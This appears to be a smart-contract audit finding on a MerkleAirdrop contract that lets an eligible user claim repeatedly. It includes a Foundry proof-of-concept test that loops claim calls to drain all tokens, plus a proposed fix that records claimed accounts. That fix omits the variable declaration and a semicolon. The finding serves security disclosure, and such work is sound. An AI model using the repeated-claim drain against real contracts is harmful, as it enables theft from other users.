Since a token-eligible user can apply for airdop multiple times, he can transfer all tokens from the MerkleAirdrop
contract before other users do.
Below, see a Foundry test presenting a situation in which a malicious actor (user eligable to airdrop) checks the token balance of the MerkleAirdrop
contract and sends the entire token balance to the user's address.
pragma solidity 0.8.24;
import { MerkleAirdrop } from "../../src/MerkleAirdrop.sol";
import { AirdropToken } from "../mocks/AirdropToken.sol";
import { Test, console2 } from "forge-std/Test.sol";
contract MerkleAirdropTestAudit is Test {
MerkleAirdrop public airdrop;
AirdropToken public token;
bytes32 public merkleRoot = 0x3b2e22da63ae414086bec9c9da6b685f790c6fab200c7918f2879f08793d77bd;
uint256 amountToCollect = (25 * 1e6);
uint256 numberOfWinners = 4;
uint256 amountToSend = amountToCollect * numberOfWinners;
address collectorOne = 0x20F41376c713072937eb02Be70ee1eD0D639966C;
bytes32 proofOne = 0x32cee63464b09930b5c3f59f955c86694a4c640a03aa57e6f743d8a3ca5c8838;
bytes32 proofTwo = 0x8ff683185668cbe035a18fccec4080d7a0331bb1bbc532324f40501de5e8ea5c;
bytes32[] proof = [proofOne, proofTwo];
function setUp() public {
token = new AirdropToken();
airdrop = new MerkleAirdrop(merkleRoot, token);
token.mint(address(this), amountToSend);
token.transfer(address(airdrop), amountToSend);
}
function testGetAllAirdrop() public {
uint256 startingBalance = token.balanceOf(collectorOne);
uint256 fee = airdrop.getFee();
uint256 airdropSupply = token.balanceOf(address(airdrop));
uint256 n = airdropSupply / amountToCollect;
vm.deal(collectorOne, n * fee);
for (uint256 i = 0; i < n; i++) {
vm.startPrank(collectorOne);
airdrop.claim{ value: fee }(collectorOne, amountToCollect, proof);
vm.stopPrank();
}
uint256 endingBalance = token.balanceOf(collectorOne);
assertEq(endingBalance - startingBalance, n * amountToCollect);
assertEq(endingBalance - startingBalance, amountToSend);
assertEq(n, numberOfWinners);
}
}
You can add a array of users who have already received airdops to the contract and check if a user already received tokens. First you declare a storage variable:
function claim(address account, uint256 amount, bytes32[] calldata merkleProof) external payable {
+ require(s_usersToSpent[account] != true);
if (msg.value != FEE) {
revert MerkleAirdrop__InvalidFeeAmount();
}
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(account, amount))));
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert MerkleAirdrop__InvalidProof();
}
emit Claimed(account, amount);
+ s_usersToSpent[account] = true
i_airdropToken.safeTransfer(account, amount);
}